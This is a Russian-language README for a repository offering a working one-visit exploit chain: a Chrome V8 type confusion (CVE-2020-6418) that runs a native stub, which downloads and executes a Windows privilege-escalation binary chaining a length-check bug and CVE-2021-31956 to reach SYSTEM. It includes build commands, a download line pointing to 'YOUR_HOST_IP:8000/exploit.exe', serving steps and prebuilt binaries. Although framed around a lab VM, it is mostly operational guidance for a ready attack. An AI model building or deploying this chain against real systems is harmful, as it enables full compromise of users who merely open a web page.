
Одноступенчатая цепочка эксплойтов для CVE-2020-6418 (Chrome RCE), объединённая с повышением привилегий Windows до SYSTEM, со сборочными скриптами и предварительно собранными бинарными файлами.
В этом репозитории находится рабочая одностадийная цепочка эксплойтов для CVE-2020-6418 (ошибка type confusion в компиляторе Turbofan из V8, затрагивающая Google Chrome 80.0.3987.87 x64). При открытии вредоносной страницы в уязвимом Chrome вы получаете выполнение нативного кода в процессе рендеринга. Далее эксплойт загружает и запускает второй бинарный файл, который связывает ещё две ошибки (отсутствие проверки длины в NtPowerInformation и CVE-2021-31956, переполнение пула в ntfs.sys), чтобы подняться от непривилегированного процесса до NT AUTHORITY\SYSTEM.
Всё работает при одном посещении страницы, без ручных действий между ошибкой в браузере и получением шелла SYSTEM.
Изначальная заслуга в создании эксплойта для Chrome принадлежит Clement Lecigne (обнаружение ошибки, Google TAG) и Istvan Kurucsai / Vignesh S Rao (исходный proof of concept, позже выпущенный в виде модуля Metasploit). Мы убрали зависимости от Metasploit и перестроили механизм доставки вокруг нативного загрузчика, вместо того чтобы встраивать полезную нагрузку в страницу. Подробности — в browser-exploit/README.md.
browser-exploit/ The Chrome exploit (the V8 bug + the native stub)
exploit_template.html HTML/JS source, with a placeholder for the stub
build_exploit.py generates exploit.html from the template
shellcode/ the native code the exploit injects into Chrome
privilege-escalation/ The Windows EoP chain, a standalone C program
prebuilt/ Ready to use binaries (exploit.html and exploit.exe)
notes/ An earlier approach we tried and abandoned, kept
as a record of what we learned along the way
Машина атакующего («хост»): любой свежий Windows с Visual Studio 2019 или 2022 (подойдёт любое издание, включая Community, или только Build Tools), NASM и Python 3. Здесь вы собираете всё и раздаёте страницу с эксплойтом.
Целевая машина («ВМ»): она должна точно соответствовать требованиям; эксплойт опирается на жёстко прописанные смещения, которые действительны только для этих конкретных сборок.
winver или [System.Environment]::OSVersion в PowerShell.chrome://version.C:\lab8 (может быть пустой, главное, чтобы она существовала).Мы тестировали это на ВМ в VMware Workstation с сетевым адаптером типа host-only, но подойдёт любая конфигурация, в которой ВМ может обратиться к хосту по HTTP.
cd browser-exploit\shellcode
build.bat
cd ..
python build_exploit.py shellcode\download_and_run_stub.bin exploit.html
cd ..\privilege-escalation
build.bat
Перед первой сборкой откройте browser-exploit\shellcode\download_and_run_stub.asm и отредактируйте эти две строки внизу:
download_url: db "http://YOUR_HOST_IP:8000/exploit.exe", 0
destination_path: db "C:\lab8\exploit.exe", 0
YOUR_HOST_IP — это IP-адрес этой машины, каким его видит ВМ (выполните ipconfig на ВМ и посмотрите сетевой адаптер, соответствующий сети host-only или NAT, либо просто выполните ipconfig на хосте и используйте адаптер в той же подсети, что и ВМ). destination_path должен указывать туда, куда вы хотите положить EoP-бинарник внутри ВМ; по умолчанию это C:\lab8.
После редактирования пересоберите заглушку и заново сгенерируйте exploit.html (те две команды из шага 1, пропустив сборку privilege-escalation, поскольку она не зависит от IP).
Если для быстрой проверки вы не хотите трогать файл на ассемблере, в prebuilt/ уже лежит рабочая копия со вшитым нашим тестовым IP. Она заработает, только если ваша сеть случайно совпадёт, так что надёжный путь — собрать собственную копию.
Положите exploit.html и exploit.exe (тот, что собран в privilege-escalation/) в одну папку, затем:
python -m http.server 8000
exploit.exe должен быть доступен по тому же URL, который вы указали в download_url выше, потому что нативная заглушка забирает его напрямую, а не через браузер.
Короткое замечание о брандмауэре хоста: если ВМ не может подключиться к порту 8000, почти всегда виноват брандмауэр Защитника Windows, блокирующий входящее подключение в неопознанной сети, либо оставшееся правило, блокирующее именно python.exe (Windows иногда создаёт его автоматически при первой попытке приложения принять подключение в ненадёжной сети). Если вы с этим столкнулись, проверьте Get-NetFirewallRule -DisplayName "python.exe" в PowerShell с правами администратора.
Убедитесь, что сборка Windows и версия Chrome соответствуют требованиям выше.
Создайте C:\lab8, если его ещё нет (пустая папка подойдёт).
Если это «голая» ВМ, которая ни разу не проходила полноценный цикл загрузки, C:\Windows\bootstat.dat может отсутствовать или быть пустым, а для бага в ядре нужно, чтобы он существовал и содержал корректные данные. Если требуется:
if (!(Test-Path C:\Windows\bootstat.dat)) {
fsutil file createnew C:\Windows\bootstat.dat 2048
}
$bytes = [System.IO.File]::ReadAllBytes("C:\Windows\bootstat.dat")
$bytes[4] = 1
[System.IO.File]::WriteAllBytes("C:\Windows\bootstat.dat", $bytes)
Запустите уязвимый Chrome с флагом --no-sandbox (в этом PoC нет обхода песочницы, поэтому рендерер уже должен быть запущен без песочницы, чтобы иметь доступ к файловой системе и создавать процессы) и откройте страницу:
chrome.exe --no-sandbox http://YOUR_HOST_IP:8000/exploit.html
Откройте DevTools (F12) и посмотрите вкладку Console: эксплойт пишет туда журнал выполнения. Если всё сходится, вы увидите, как срабатывает type confusion, заглушка загружает и запускает EoP-бинарник, и через несколько секунд появится новое окно консоли, работающее от имени NT AUTHORITY\SYSTEM.
exploit_template.html (objleaker_offset, float_carw_elements_offset и остальные) привязаны к 80.0.3987.87 x64 и не будут работать на другой сборке, даже отличающейся на одну патч-версию.DEFAULT_RVA_ANCHOR, DEFAULT_RVA_SEPSD и различные смещения EPROCESS/ETHREAD в privilege-escalation/exploit.c) жёстко прописаны под эту сборку.download_url в download_and_run_stub.asm совпадает с адресом и портом, на котором реально раздаёт хост, и что ВМ может до него добраться (обычный curl http://YOUR_HOST_IP:8000/exploit.exe изнутри ВМ — быстрый способ проверить связь, прежде чем винить эксплойт).Больше подробностей о каждой части, в том числе о том, почему она устроена именно так, — в README каждой папки.